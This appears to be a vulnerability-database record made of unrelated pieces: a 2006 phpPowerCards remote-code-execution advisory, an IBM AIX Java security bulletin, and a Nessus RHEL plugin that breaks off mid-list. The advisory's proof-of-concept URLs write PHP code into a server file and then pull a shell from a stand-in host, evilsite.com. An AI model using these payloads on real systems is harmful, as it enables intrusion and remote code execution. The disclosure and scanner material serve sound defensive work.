{"id": "SECURITYVULNS:DOC:14803", "bulletinFamily": "software", "title": "phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability", "description": "+-------------------------------------------------------------------------------------------\r\n+ phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability\r\n+-------------------------------------------------------------------------------------------\r\n+ Affected Software .: phpPowerCards 2.10\r\n+ Vendor ............: http://www.giombetti.com/\r\n+ Download ..........: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip\r\n+ Description .......: "phpPowerCards is a powerfull PHP based postcard script."\r\n+ Class .............: Remote Code Execution\r\n+ Risk ..............: High (Remote Code Execution)\r\n+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>\r\n+-------------------------------------------------------------------------------------------\r\n+ Details:\r\n+ phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the\r\n+ fopen() function on line 10, after $file is opened it then writes several variables which\r\n+ are also uninitialized to $file using the fputs() function. Assuming register_globals = on,\r\n+ we can initialize these variables in a query string and then write anything to a file we\r\n+ desire on the target box that's running phpPowerCards.\r\n+ \r\n+ Vulnerable Code:\r\n+ db/txt.inc.php, line(s) 10: $fp = fopen("$file","a");\r\n+ db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "\u00a6\u00a6" .$email[from]. "\u00a6\u00a6" .$name[to]. "\u00a6\u00a6" .$name[from]. "\u00a6\u00a6" .$picture. "\u00a6\u00a6" .$comment. "\u00a6\u00a6" .$sessionID. "\n");\r\n+ \r\n+ Proof of Concept:\r\n+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code]\r\n+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code]\r\n+ ... same thing repeated for each variable in the second argument of fputs() on line 23\r\n+ \r\n+ -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+\r\n+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php\r\n+-------------------------------------------------------------------------------------------\r\n\r\n# milw0rm.com [2006-10-18]\r\n\r\n", "published": "2006-10-23T00:00:00", "modified": "2006-10-23T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:14803", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:19", "edition": 1, "viewCount": 32, "enchantments": {"score": {"value": 6.5, "vector": "NONE", "modified": "2018-08-31T11:10:19", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-2595", "CVE-2017-14803", "CVE-2015-9286", "CVE-2008-7273", "CVE-2018-14803", "CVE-2008-7272"]}, {"type": "ics", "idList": ["ICSA-18-242-01"]}, {"type": "zdi", "idList": ["ZDI-18-131"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:32652", "SECURITYVULNS:DOC:32654", "SECURITYVULNS:DOC:32653", "SECURITYVULNS:DOC:32656", "SECURITYVULNS:VULN:14755", "SECURITYVULNS:VULN:14753", "SECURITYVULNS:DOC:32651", "SECURITYVULNS:VULN:14720", "SECURITYVULNS:DOC:32660", "SECURITYVULNS:DOC:32658"]}], "modified": "2018-08-31T11:10:19", "rev": 2}, "vulnersScore": 6.5}, "affectedSoftware": [], "immutableFields": []}

{"aix": [{"lastseen": "2021-03-17T17:27:00", "bulletinFamily": "unix", "cvelist": ["CVE-2020-27221", "CVE-2020-14803", "CVE-2020-14782", "CVE-2020-14781", "CVE-2020-14798", "CVE-2020-14779", "CVE-2020-14797", "CVE-2020-2773", "CVE-2020-14796"], "description": "IBM SECURITY ADVISORY\n\nFirst Issued: Mon Mar 15 10:22:29 CDT 2021\n\nThe most recent version of this document is available here:\n\nhttp://aix.software.ibm.com/aix/efixes/security/java_mar2021_advisory.asc\nhttps://aix.software.ibm.com/aix/efixes/security/java_mar2021_advisory.asc\nftp://aix.software.ibm.com/aix/efixes/security/java_mar2021_advisory.asc\n\nSecurity Bulletin: Multiple vulnerabilities in IBM Java SDK affect AIX\n\n===============================================================================\n\nSUMMARY:\n\n There are multiple vulnerabilities in IBM SDK Java Technology Edition,\n Versions 7, 7.1, 8 used by AIX. AIX has addressed the applicable CVEs.\n\n\n===============================================================================\n\nVULNERABILITY DETAILS:\n\n CVEID: CVE-2020-14779\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14779\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14779\n DESCRIPTION: An unspecified vulnerability in Java SE related to the\n Serialization component could allow an unauthenticated attacker to\n cause a denial of service resulting in a low availability impact using\n unknown attack vectors.\n CVSS Base Score: 3.7\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190097\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n CVEID: CVE-2020-14796\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14796\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14796\n DESCRIPTION: An unspecified vulnerability in Java SE related to the\n Libraries component could allow an unauthenticated attacker to obtain\n sensitive information resulting in a low confidentiality impact using\n unknown attack vectors.\n CVSS Base Score: 3.1\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190114\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N)\n\n CVEID: CVE-2020-14797\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14797\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14797\n DESCRIPTION: An unspecified vulnerability in Java SE related to the\n Libraries component could allow an unauthenticated attacker to cause no\n confidentiality impact, low integrity impact, and no availability\n impact.\n CVSS Base Score: 3.7\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190115\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\n CVEID: CVE-2020-14798\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14798\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14798\n DESCRIPTION: An unspecified vulnerability in Java SE related to the\n Libraries component could allow an unauthenticated attacker to cause no\n confidentiality impact, low integrity impact, and no availability\n impact.\n CVSS Base Score: 3.1\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190116\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N)\n\n CVEID: CVE-2020-14782\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14782\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14782\n DESCRIPTION: An unspecified vulnerability in Java SE related to the\n Libraries component could allow an unauthenticated attacker to cause no\n confidentiality impact, low integrity impact, and no availability\n impact.\n CVSS Base Score: 3.7\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190100\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)\n\n CVEID: CVE-2020-2773\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-2773\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-2773\n DESCRIPTION: An unspecified vulnerability in Java SE related to the Java SE\n Security component could allow an unauthenticated attacker to cause a\n denial of service resulting in a low availability impact using unknown\n attack vectors.\n CVSS Base Score: 3.7\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/179673\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n CVEID: CVE-2020-14803\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14803\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14803\n DESCRIPTION: An unspecified vulnerability in Java SE could allow an\n unauthenticated attacker to obtain sensitive information resulting in\n a low confidentiality impact using unknown attack vectors.\n CVSS Base Score: 5.3\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190121\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n CVEID: CVE-2020-27221\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27221\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27221\n DESCRIPTION: Eclipse OpenJ9 is vulnerable to a stack-based buffer overflow\n when the virtual machine or JNI natives are converting from UTF-8\n characters to platform encoding. By sending an overly long string, a\n remote attacker could overflow a buffer and execute arbitrary code on\n the system or cause the application to crash.\n CVSS Base Score: 9.8\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/195353\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n CVEID: CVE-2020-14781\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14781\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14781\n DESCRIPTION: An unspecified vulnerability in Java SE related to the JNDI\n component could allow an unauthenticated attacker to obtain sensitive\n information resulting in a low confidentiality impact using unknown\n attack vectors.\n CVSS Base Score: 3.7\n CVSS Temporal Score: See\n https://exchange.xforce.ibmcloud.com/vulnerabilities/190099\n for the current score\n CVSS Environmental Score*: Undefined\n CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\n\nAFFECTED PRODUCTS AND VERSIONS:\n\n AIX 7.1, 7.2\n VIOS 3.1\n\n The following fileset levels (VRMF) are vulnerable, if the\n respective Java version is installed:\n For Java7: Less than 7.0.0.680\n For Java7.1: Less than 7.1.0.480\n For Java8: Less than 8.0.0.625\n\n Note: To find out whether the affected Java filesets are installed\n on your systems, refer to the lslpp command found in AIX user's guide.\n\n Example: lslpp -L | grep -i java\n\n\nREMEDIATION:\n\n Note: Recommended remediation is to always install the most recent\n Java package available for the respective Java version.\n\n IBM SDK, Java Technology Edition, Version 7 Service Refresh 10 Fix\n Pack 80 and subsequent releases:\n 32-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=7.0.0.0&platform=AIX+32-bit,+pSeries&function=all\n 64-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=7.0.0.0&platform=AIX+64-bit,+pSeries&function=all\n\n IBM SDK, Java Technology Edition, Version 7R1 Service Refresh 4 Fix\n Pack 80 and subsequent releases:\n 32-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=7.1.0.0&platform=AIX+32-bit,+pSeries&function=all\n 64-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=7.1.0.0&platform=AIX+64-bit,+pSeries&function=all\n\n IBM SDK, Java Technology Edition, Version 8 Service Refresh 6 Fix\n Pack 25 and subsequent releases:\n 32-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=8.0.0.0&platform=AIX+32-bit,+pSeries&function=all\n 64-bit: https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/IBM+SDKs+for+Java+Technology/Java+Standard+Edition+%28Java+SE%29&release=8.0.0.0&platform=AIX+64-bit,+pSeries&function=all\n\n\nWORKAROUNDS AND MITIGATIONS:\n\n None.\n\n\n===============================================================================\n\nCONTACT US:\n\n If you would like to receive AIX Security Advisories via email,\n please visit \"My Notifications\":\n\n http://www.ibm.com/support/mynotifications\n\n To view previously issued advisories, please visit:\n\n http://www14.software.ibm.com/webapp/set2/subscriptions/onvdq\n\n Contact IBM Support for questions related to this announcement:\n\n http://ibm.com/support/\n https://ibm.com/support/\n\n To obtain the OpenSSL public key that can be used to verify the\n signed advisories and ifixes:\n\n Download the key from our web page:\n\n ftp://ftp.software.ibm.com/systems/power/AIX/systems_p_os_aix_security_pubkey.txt\n\n Please contact your local IBM AIX support center for any\n assistance.\n\n\nREFERENCES:\n\n Complete CVSS v2 Guide:\n http://www.first.org/cvss/v2/guide\n On-line Calculator v2:\n http://nvd.nist.gov/CVSS-v2-Calculator\n Complete CVSS v3 Guide:\n http://www.first.org/cvss/user-guide\n On-line Calculator v3:\n http://www.first.org/cvss/calculator/3.0\n\n\nRELATED INFORMATION:\n\n Security Bulletin: Multiple vulnerabilities in IBM Java SDK affect AIX\n https://www.ibm.com/support/pages/node/6430227\n\n\nACKNOWLEDGEMENTS:\n\n None.\n\nCHANGE HISTORY:\n\n First Issued: Mon Mar 15 10:22:29 CDT 2021\n\n\n===============================================================================\n\n*The CVSS Environment Score is customer environment specific and will\nultimately impact the Overall CVSS Score. Customers can evaluate the impact\nof this vulnerability in their environments by accessing the links in the\nReference section of this Security Bulletin.\n\nDisclaimer\nAccording to the Forum of Incident Response and Security Teams (FIRST), the\nCommon Vulnerability Scoring System (CVSS) is an \"industry open standard\ndesigned to convey vulnerability severity and help to determine urgency and\npriority of response.\" IBM PROVIDES THE CVSS SCORES \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\nFOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT\nOF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY.\n\n\n", "edition": 1, "modified": "2021-03-15T10:22:29", "published": "2021-03-15T10:22:29", "id": "JAVA_MAR2021_ADVISORY.ASC", "href": "https://aix.software.ibm.com/aix/efixes/security/java_mar2021_advisory.asc", "title": "Multiple vulnerabilities in IBM Java SDK affect AIX", "type": "aix", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2021-03-25T13:49:02", "description": "The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0736 advisory.\n\n - OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n - OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995)\n (CVE-2020-14782)\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\n - OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415)\n (CVE-2020-2773)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 3, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-03-05T00:00:00", "title": "RHEL 8 : java-1.8.0-ibm (RHSA-2021:0736)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-27221", "CVE-2020-14803", "CVE-2020-14782", "CVE-2020-14781", "CVE-2020-2773"], "modified": "2021-03-05T00:00:00", "cpe": ["p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-devel", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-plugin", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-demo", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-headless", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-webstart", "cpe:/o:redhat:enterprise_linux:8", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-jdbc", "p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-src"], "id": "REDHAT-RHSA-2021-0736.NASL", "href": "https://www.tenable.com/plugins/nessus/147142", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2021:0736. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147142);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/24\");\n\n script_cve_id(\n \"CVE-2020-2773\",\n \"CVE-2020-14781\",\n \"CVE-2020-14782\",\n \"CVE-2020-14803\",\n \"CVE-2020-27221\"\n );\n script_xref(name:\"RHSA\", value:\"2021:0736\");\n\n script_name(english:\"RHEL 8 : java-1.8.0-ibm (RHSA-2021:0736)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2021:0736 advisory.\n\n - OpenJDK: Credentials sent over unencrypted LDAP connection (JNDI, 8237990) (CVE-2020-14781)\n\n - OpenJDK: Certificate blacklist bypass via alternate certificate encodings (Libraries, 8237995)\n (CVE-2020-14782)\n\n - OpenJDK: Race condition in NIO Buffer boundary checks (Libraries, 8244136) (CVE-2020-14803)\n\n - IBM JDK: Stack-based buffer overflow when converting from UTF-8 characters to platform encoding\n (CVE-2020-27221)\n\n - OpenJDK: Unexpected exceptions raised by DOMKeyInfoFactory and DOMXMLSignatureFactory (Security, 8231415)\n (CVE-2020-2773)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/119.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/248.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/295.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/319.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/367.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-2773\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14781\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14782\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14803\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-27221\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2021:0736\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1823224\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889274\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889290\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1889895\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1928555\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-27221\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_cwe_id(119, 248, 295, 319, 367);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/04/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/05\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-demo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-headless\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-jdbc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-plugin\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-src\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:java-1.8.0-ibm-webstart\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '8')) audit(AUDIT_OS_NOT, 'Red Hat 8.x', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'enterprise_linux_8_appstream': [\n 'rhel-8-for-aarch64-appstream-debug-rpms',\n 'rhel-8-for-aarch64-appstream-rpms',\n 'rhel-8-for-aarch64-appstream-source-rpms',\n 'rhel-8-for-s390x-appstream-debug-rpms',\n 'rhel-8-for-s390x-appstream-rpms',\n 'rhel-8-for-s390x-appstream-source-rpms',\n 'rhel-8-for-x86_64-appstream-debug-rpms',\n 'rhel-8-for-x86_64-appstream-rpms',\n 'rhel-8-for-x86_64-appstream-source-rpms'\n ],\n 'enterprise_linux_8_baseos': [\n 'rhel-8-for-aarch64-baseos-debug-rpms',\n 'rhel-8-for-aarch64-baseos-rpms',\n 'rhel-8-for-aarch64-baseos-source-rpms',\n 'rhel-8-for-s390x-baseos-debug-rpms',\n 'rhel-8-for-s390x-baseos-rpms',\n 'rhel-8-for-s390x-baseos-source-rpms',\n 'rhel-8-for-x86_64-baseos-debug-rpms',\n 'rhel-8-for-x86_64-baseos-rpms',\n 'rhel-8-for-x86_64-baseos-source-rpms'\n ],\n 'enterprise_linux_8_crb': [\n 'codeready-builder-for-rhel-8-aarch64-debug-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-rpms',\n 'codeready-builder-for-rhel-8-aarch64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-aarch64-rpms',\n 'codeready-builder-for-rhel-8-aarch64-source-rpms',\n 'codeready-builder-for-rhel-8-s390x-debug-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-rpms',\n 'codeready-builder-for-rhel-8-s390x-eus-source-rpms',\n 'codeready-builder-for-rhel-8-s390x-rpms',\n 'codeready-builder-for-rhel-8-s390x-source-rpms',\n 'codeready-builder-for-rhel-8-x86_64-debug-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-debug-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-rpms',\n 'codeready-builder-for-rhel-8-x86_64-eus-source-rpms',\n 'codeready-builder-for-rhel-8-x86_64-rpms',\n 'codeready-builder-for-rhel-8-x86_64-source-rpms'\n ],\n 'enterprise_linux_8_highavailability': [\n 'rhel-8-for-aarch64-highavailability-debug-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-debug-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-rpms',\n 'rhel-8-for-aarch64-highavailability-eus-source-rpms',\n 'rhel-8-for-aarch64-highavailability-rpms',\n 'rhel-8-for-aarch64-highavailability-source-rpms',\n 'rhel-8-for-s390x-highavailability-debug-rpms',\n 'rhel-8-for-s390x-highavailability-eus-debug-rpms',\n 'rhel-8-for-s390x-highavailability-eus-rpms',\n 'rhel-8-for-s390x-highavailability-eus-source-rpms',\n 'rhel-8-for-s390x-highavailability-rpms',\n 'rhel-8-for-s390x-highavailability-source-rpms',\n 'rhel-8-for-x86_64-highavailability-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-rpms',\n 'rhel-8-for-x86_64-highavailability-e4s-source-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-rpms',\n 'rhel-8-for-x86_64-highavailability-eus-source-rpms',\n 'rhel-8-for-x86_64-highavailability-rpms',\n 'rhel-8-for-x86_64-highavailability-source-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-debug-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-rpms',\n 'rhel-8-for-x86_64-highavailability-tus-source-rpms'\n ],\n 'enterprise_linux_8_nfv': [\n 'rhel-8-for-x86_64-nfv-debug-rpms',\n 'rhel-8-for-x86_64-nfv-rpms',\n 'rhel-8-for-x86_64-nfv-source-rpms',\n 'rhel-8-for-x86_64-nfv-tus-debug-rpms',\n 'rhel-8-for-x86_64-nfv-tus-rpms',\n 'rhel-8-for-x86_64-nfv-tus-source-rpms'\n ],\n 'enterprise_linux_8_realtime': [\n 'rhel-8-for-x86_64-rt-debug-rpms',\n 'rhel-8-for-x86_64-rt-rpms',\n 'rhel-8-for-x86_64-rt-source-rpms',\n 'rhel-8-for-x86_64-rt-tus-debug-rpms',\n 'rhel-8-for-x86_64-rt-tus-rpms',\n 'rhel-8-for-x86_64-rt-tus-source-rpms'\n ],\n 'enterprise_linux_8_resilientstorage': [\n 'rhel-8-for-s390x-resilientstorage-debug-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-rpms',\n 'rhel-8-for-s390x-resilientstorage-eus-source-rpms',\n 'rhel-8-for-s390x-resilientstorage-rpms',\n 'rhel-8-for-s390x-resilientstorage-source-rpms',\n 'rhel-8-for-x86_64-resilientstorage-debug-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-debug-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-rpms',\n 'rhel-8-for-x86_64-resilientstorage-eus-source-rpms',\n 'rhel-8-for-x86_64-resilientstorage-rpms',\n 'rhel-8-for-x86_64-resilientstorage-source-rpms'\n ],\n 'enterprise_linux_8_sap': [\n 'rhel-8-for-s390x-sap-netweaver-debug-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-rpms',\n 'rhel-8-for-s390x-sap-netweaver-eus-source-rpms',\n 'rhel-8-for-s390x-sap-netweaver-rpms',\n 'rhel-8-for-s390x-sap-netweaver-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-e4s-source-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-debug-rpms',\n 'rhel-8-for-x86_64-sap-netweaver-eus-rpms',\n 